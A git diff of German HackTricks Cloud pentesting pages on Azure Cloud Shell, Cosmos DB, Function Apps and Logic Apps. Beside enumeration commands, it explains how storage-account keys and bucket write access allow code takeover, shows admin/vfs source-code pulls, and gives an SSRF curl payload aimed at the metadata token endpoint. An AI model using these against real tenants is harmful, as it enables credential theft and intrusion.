@@ -0,0 +1,58 @@
|
||||
# Az - Cloud Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** ist ein interaktives, authentifiziertes, browserzugängliches Terminal, das für die Verwaltung von Azure-Ressourcen konzipiert ist und die Flexibilität bietet, entweder mit Bash oder PowerShell zu arbeiten. Es läuft auf einem temporären, pro Sitzung host, der nach 20 Minuten Inaktivität abläuft, während Dateien im $HOME-Verzeichnis mit einem 5-GB-Dateifreigabe gespeichert werden. Cloud Shell kann über mehrere Punkte aufgerufen werden, einschließlich des Azure-Portals, shell.azure.com, Azure CLI und PowerShell-Dokumentation, der Azure-Mobile-App und der Visual Studio Code Azure-Kontoerweiterung.
|
||||
|
||||
Es sind keine Berechtigungen für diesen Dienst zugewiesen, daher gibt es keine Privilegieneskalationstechniken. Auch gibt es keine Art der Enumeration.
|
||||
|
||||
### Hauptmerkmale
|
||||
|
||||
**Umgebung**: Azure Cloud Shell bietet eine sichere Umgebung, indem es auf Azure Linux läuft, Microsofts eigener Linux-Distribution, die für Cloud-Infrastruktur entwickelt wurde. Alle Pakete, die im Azure Linux-Repository enthalten sind, werden intern von Microsoft kompiliert, um sich gegen Angriffe auf die Lieferkette zu schützen.
|
||||
**Vorinstallierte Tools**: Cloud Shell enthält eine umfassende Sammlung vorinstallierter Tools wie Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git und Texteditoren wie vim, nano und emacs. Diese Tools sind einsatzbereit. Um die installierten Pakete und Module aufzulisten, kannst du "Get-Module -ListAvailable", "tdnf list" und "pip3 list" verwenden.
|
||||
**$HOME-Persistenz**: Wenn du Azure Cloud Shell zum ersten Mal startest, kannst du es mit oder ohne ein angehängtes Speicherkonto verwenden. Wenn du dich entscheidest, keinen Speicher anzuhängen, wird eine flüchtige Sitzung erstellt, in der Dateien gelöscht werden, wenn die Sitzung endet. Um Dateien über Sitzungen hinweg zu speichern, mounte ein Speicherkonto, das automatisch als **$HOME\clouddrive** angehängt wird, wobei dein **$HOME**-Verzeichnis als **.img**-Datei in Azure File Share gespeichert wird. Dateien außerhalb von $HOME und Maschinenzustände werden jedoch nicht gespeichert. Zum sicheren Speichern von Geheimnissen wie SSH-Schlüsseln verwende Azure Key Vault.
|
||||
**Azure-Laufwerk (Azure:)**: PowerShell in Azure Cloud Shell umfasst das Azure-Laufwerk (Azure:), das eine einfache Navigation durch Azure-Ressourcen wie Compute, Network und Storage mit dateisystemähnlichen Befehlen ermöglicht. Wechsle zum Azure-Laufwerk mit cd Azure: und kehre mit cd ~ in dein Home-Verzeichnis zurück. Du kannst weiterhin Azure PowerShell-Cmdlets verwenden, um Ressourcen von jedem Laufwerk aus zu verwalten.
|
||||
**Benutzerdefinierte Tool-Installation**: Benutzer, die Cloud Shell mit einem Speicherkonto konfigurieren, können zusätzliche Tools installieren, die keine Root-Berechtigungen erfordern. Diese Funktion ermöglicht eine weitere Anpassung der Cloud Shell-Umgebung, sodass Benutzer ihre Einrichtung an ihre spezifischen Bedürfnisse anpassen können.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Persistenz
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -17,9 +17,9 @@ Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1)
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-gestützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Sprachen und KI-Datenbankfunktionen wie integrierte Vektorsupport und nahtlose Azure KI-Integration.
|
||||
**Azure Cosmos DB** ist eine vollständig **verwaltete NoSQL-, relationale und Vektordatenbank**, die Reaktionszeiten im einstelligen Millisekundenbereich, automatische Skalierbarkeit und SLA-gestützte Verfügbarkeit mit Unternehmenssicherheit bietet. Es ermöglicht eine schnellere Anwendungsentwicklung durch schlüsselfertige, mehrregionale Datenverteilung, Open-Source-APIs, SDKs für beliebte Programmiersprachen und KI-Datenbankfunktionen wie integrierte Vektorsupport und nahtlose Azure KI-Integration.
|
||||
|
||||
Azure Cosmos DB bietet mehrere Datenbank-APIs, um reale Daten mit Dokumenten, relationalen, Schlüssel-Wert-, Graph- und Spaltenfamilien-Datenmodellen zu modellieren. Diese APIs sind NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin und Table.
|
||||
Azure Cosmos DB bietet mehrere Datenbank-APIs, um reale Daten mit Dokumenten, relationalen, Schlüssel-Wert-, Graph- und Spaltenfamilien-Datenmodellen zu modellieren, wobei diese APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin und Table sind.
|
||||
|
||||
Ein wichtiger Aspekt von CosmosDB ist das Azure Cosmos-Konto. **Azure Cosmos-Konto** fungiert als Einstiegspunkt zu den Datenbanken. Das Konto bestimmt wichtige Einstellungen wie globale Verteilung, Konsistenzstufen und die spezifische API, die verwendet werden soll, wie z.B. NoSQL. Über das Konto können Sie die globale Replikation konfigurieren, um sicherzustellen, dass Daten in mehreren Regionen für einen latenzarmen Zugriff verfügbar sind. Darüber hinaus können Sie eine Konsistenzstufe wählen, die zwischen Leistung und Datenakkuratheit balanciert, mit Optionen von starker bis eventualer Konsistenz.
|
||||
|
||||
@@ -131,7 +131,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
|
||||
|
||||
#### Verbindung
|
||||
|
||||
Um die azure-cosmosDB (pip install azure-cosmos) Bibliothek zu verbinden, sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen.
|
||||
Um die azure-cosmosDB (pip install azure-cosmos) zu verbinden, wird die Bibliothek benötigt. Darüber hinaus sind der Endpunkt und der Schlüssel entscheidende Komponenten, um die Verbindung herzustellen.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
@@ -212,7 +212,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
{% endcode %}
|
||||
|
||||
#### Datenbanken
|
||||
In MongoDB können Sie eine oder mehrere Datenbanken innerhalb einer Instanz erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte.
|
||||
In MongoDB können Sie innerhalb einer Instanz eine oder mehrere Datenbanken erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte.
|
||||
|
||||
#### Sammlungen
|
||||
Die zentrale Einheit der Datenspeicherung in MongoDB ist die Sammlung, die Dokumente enthält und für effizientes Abfragen und flexibles Schema-Design konzipiert ist. Sammlungen sind elastisch skalierbar und können hochgradig durchsatzstarke Operationen über mehrere Knoten in einer verteilten Umgebung unterstützen.
|
||||
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
|
||||
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
@@ -291,7 +290,7 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
|
||||
|
||||
#### Verbindung
|
||||
|
||||
Hier können Sie das Passwort mit den Schlüsseln oder mit der im Privesc-Abschnitt beschriebenen Methode finden.
|
||||
Hier das Passwort, das Sie mit den Schlüsseln oder mit der im Privesc-Abschnitt beschriebenen Methode finden können.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
@@ -362,7 +361,7 @@ Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png"
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -4,27 +4,27 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**Azure Function Apps** sind ein **serverloser Compute-Dienst**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
|
||||
**Azure Function Apps** sind ein **serverloser Compute-Service**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
|
||||
|
||||
> [!HINWEIS]
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass **Funktionen eine Teilmenge der App-Dienste sind**, daher werden viele der hier besprochenen Funktionen auch von Anwendungen verwendet, die als Azure Apps (`webapp` in cli) erstellt wurden.
|
||||
|
||||
### Verschiedene Pläne
|
||||
|
||||
- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Bezahlung nach Nutzung, wobei Funktionsinstanzen je nach Bedarf hinzugefügt oder entfernt werden. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung benötigen.
|
||||
- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer Pay-as-you-go-Preismodell, das das Hinzufügen oder Entfernen von Funktionsinstanzen basierend auf der Nachfrage ermöglicht. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung benötigen.
|
||||
- **Traditional Consumption Plan**: Die Standard-Serverless-Option, bei der Sie **nur für Rechenressourcen bezahlen, wenn Funktionen ausgeführt werden**. Es skaliert automatisch basierend auf eingehenden Ereignissen und umfasst **Optimierungen für Kaltstarts**, unterstützt jedoch keine Containerbereitstellungen. Ideal für **intermittierende Workloads**, die automatisches Skalieren erfordern.
|
||||
- **Premium Plan**: Entwickelt für **konstante Leistung**, mit **vorwärmenden Arbeitern**, um Kaltstarts zu eliminieren. Es bietet **erweiterte Ausführungszeiten, virtuelles Networking** und unterstützt **benutzerdefinierte Linux-Images**, was es perfekt für **geschäftskritische Anwendungen** macht, die hohe Leistung und erweiterte Funktionen benötigen.
|
||||
- **Dedicated Plan**: Läuft auf dedizierten virtuellen Maschinen mit **vorhersehbarer Abrechnung** und unterstützt manuelles oder automatisches Skalieren. Es ermöglicht das Ausführen mehrerer Apps im selben Plan, bietet **Rechenisolierung** und gewährleistet **sicheren Netzwerkzugang** über App Service Environments, was es ideal für **langfristige Anwendungen** macht, die eine konsistente Ressourcenzuteilung benötigen.
|
||||
- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Microservices und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
|
||||
- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Mikrodiensten und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
|
||||
|
||||
### **Speicher-Buckets**
|
||||
|
||||
Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Code zum Ausführen) werden die **Code- und anderen funktionsbezogenen Daten in einem Speicherkonto gespeichert**. Standardmäßig erstellt die Webkonsole für jede Funktion ein neues Konto, um den Code zu speichern.
|
||||
|
||||
Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert und beim nächsten Aufruf der Funktion ausgeführt wird**.
|
||||
Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert wird und beim nächsten Aufruf der Funktion ausgeführt wird**.
|
||||
|
||||
> [!VORSICHT]
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** es einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren.
|
||||
> [!CAUTION]
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren.
|
||||
>
|
||||
> Mehr dazu im **Abschnitt zur Berechtigungseskalation**.
|
||||
|
||||
@@ -39,12 +39,12 @@ Bei Verwendung eines HTTP-Triggers:
|
||||
- Es ist möglich, **Zugriff auf eine Funktion von überall im Internet** zu gewähren, ohne eine Authentifizierung zu verlangen, oder den Zugriff IAM-basiert zu gewähren. Obwohl es auch möglich ist, diesen Zugriff einzuschränken.
|
||||
- Es ist auch möglich, **Zugriff auf eine Function App von einem internen Netzwerk (VPC)** zu gewähren oder einzuschränken.
|
||||
|
||||
> [!VORSICHT]
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, von einer verwundbaren Funktion, die dem Internet ausgesetzt ist, **auf interne Netzwerke zu pivotieren**.
|
||||
> [!CAUTION]
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, **auf interne Netzwerke zu pivotieren** von einer verwundbaren Funktion, die dem Internet ausgesetzt ist.
|
||||
|
||||
### **Function App-Einstellungen & Umgebungsvariablen**
|
||||
|
||||
Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLBERECHTIGUNGEN auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
|
||||
Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLER Berechtigung auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
|
||||
|
||||
Diese Umgebungsvariablen oder Konfigurationsparameter steuern auch, wie die Funktion den Code ausführt, zum Beispiel, wenn **`WEBSITE_RUN_FROM_PACKAGE`** existiert, zeigt es die URL an, wo sich der Code der Anwendung befindet.
|
||||
|
||||
@@ -60,20 +60,20 @@ Genau wie [**VMs**](vms/index.html) können Funktionen **verwaltete Identitäten
|
||||
|
||||
Die **systemzugewiesene** Identität ist eine verwaltete Identität, die **nur die Funktion**, die sie zugewiesen hat, verwenden kann, während die **benutzerzugewiesenen** verwalteten Identitäten verwaltete Identitäten sind, die **von jedem anderen Azure-Dienst verwendet werden können**.
|
||||
|
||||
> [!HINWEIS]
|
||||
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
|
||||
> [!NOTE]
|
||||
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, zu versuchen, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
|
||||
>
|
||||
> Wenn keine systemzugewiesene verwaltete Identität verwendet wird, aber eine oder mehrere benutzerverwaltete Identitäten an eine Funktion angehängt sind, können Sie standardmäßig kein Token erhalten.
|
||||
|
||||
Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadatenendpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
|
||||
Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadaten-Endpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadatenendpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
|
||||
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadaten-Endpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
|
||||
|
||||
## Zugriffsschlüssel
|
||||
|
||||
> [!HINWEIS]
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass es keine RBAC-Berechtigungen gibt, um Benutzern den Zugriff auf die Funktionen zu gewähren. Die **Funktionsausführung hängt vom Trigger** ab, der beim Erstellen ausgewählt wurde, und wenn ein HTTP-Trigger ausgewählt wurde, könnte es erforderlich sein, einen **Zugriffsschlüssel** zu verwenden.
|
||||
|
||||
Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger** ist es möglich, das **Zugriffsschlüssel-Autorisierungsniveau** anzugeben, das erforderlich ist, um die Funktion auszulösen. Drei Optionen sind verfügbar:
|
||||
@@ -89,14 +89,14 @@ Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger
|
||||
- **Master-Schlüssel:** Der Master-Schlüssel (`_master`) dient als administrativer Schlüssel, der erhöhte Berechtigungen bietet, einschließlich Zugriff auf alle Funktionsendpunkte (ADMIN-Zugriffslevel eingeschlossen). Dieser **Schlüssel kann nicht widerrufen werden.**
|
||||
- **Systemschlüssel:** Systemschlüssel werden **von bestimmten Erweiterungen verwaltet** und sind erforderlich, um auf Webhook-Endpunkte zuzugreifen, die von internen Komponenten verwendet werden. Beispiele sind der Event Grid-Trigger und Durable Functions, die Systemschlüssel verwenden, um sicher mit ihren jeweiligen APIs zu interagieren.
|
||||
|
||||
> [!TIPP]
|
||||
> [!TIP]
|
||||
> Beispiel für den Zugriff auf einen Funktions-API-Endpunkt mit einem Schlüssel:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Basis-Authentifizierung
|
||||
|
||||
Genau wie bei App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
|
||||
Genau wie in App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Berechtigung über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` ermöglicht.
|
||||
Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Anmeldeinformation über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` ermöglicht.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daher kann jeder, der dieses Repository kompromittiert, die Funktion und die daran angehängten Managed Identities kompromittieren.
|
||||
|
||||
### Containerbasierte Bereitstellungen
|
||||
|
||||
Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, wird die Konfiguration die URL des Containers enthalten. In der API wird die **`linuxFxVersion`** Einstellung etwas wie: `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird.
|
||||
Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, wird die Konfiguration die URL des Containers enthalten. In der API wird die **`linuxFxVersion`**-Einstellung etwas wie `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird.
|
||||
|
||||
Darüber hinaus wird **kein Quellcode im Speicher**-Konto gespeichert, das mit der Funktion verbunden ist, da dies nicht erforderlich ist.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -249,7 +253,31 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
## Privilegienerweiterung
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
Get-AzFunctionApp -ResourceGroupName <String>
|
||||
|
||||
# Displays the regions where Azure Function Apps are available for deployment.
|
||||
Get-AzFunctionAppAvailableLocation
|
||||
|
||||
# Retrieves details about Azure Function App plans in a subscription or resource group.
|
||||
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Privilegieneskalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
|
||||
@@ -30,34 +30,260 @@ Zum Beispiel wird etwas wie dies das Token nicht zurückgeben:
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Aufzählung
|
||||
### Hosting-Optionen
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
Es gibt mehrere Hosting-Optionen:
|
||||
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: bietet gemeinsame Rechenressourcen, arbeitet in der öffentlichen Cloud und folgt einem Preismodell pro Operation. Dies ist ideal für leichte und kosteneffektive Workloads.
|
||||
* **Standard**
|
||||
